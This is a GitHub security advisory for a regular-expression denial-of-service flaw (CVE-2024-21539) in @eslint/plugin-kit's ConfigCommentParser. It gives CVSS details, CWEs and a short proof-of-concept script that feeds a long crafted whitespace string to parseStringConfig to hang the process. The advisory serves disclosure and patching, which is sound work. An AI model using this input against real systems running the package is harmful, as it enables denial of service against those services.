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eslint/rewrite · Security

Regular Expression Denial of Service (ReDoS) in @eslint/plugin-kit

GHSA ID
GHSA-7q7g-4xm8-89cq
CVE ID
CVE-2024-21539
Severity
low
Published
Updated
CVSS
3.5 · CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:L
CVSS v3
3.5 · CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:L

Description

Crafting a very large and well crafted string can increase the CPU usage and crash the program.

POC

const { ConfigCommentParser } = require("@eslint/plugin-kit");

var str = "";
for (var i = 0; i < 1000000; i++) {
  str += " ";
}
str += "A";

console.log("start")
var parser = new ConfigCommentParser();
console.log(parser.parseStringConfig(str, ""));
console.log("end")

// run `npm i @eslint/plugin-kit` and `node attack.js` 
// then the program will stuck forever with high CPU usage

CWEs

  • CWE-770 · Allocation of Resources Without Limits or Throttling
  • CWE-1333 · Inefficient Regular Expression Complexity

References

Open GitHub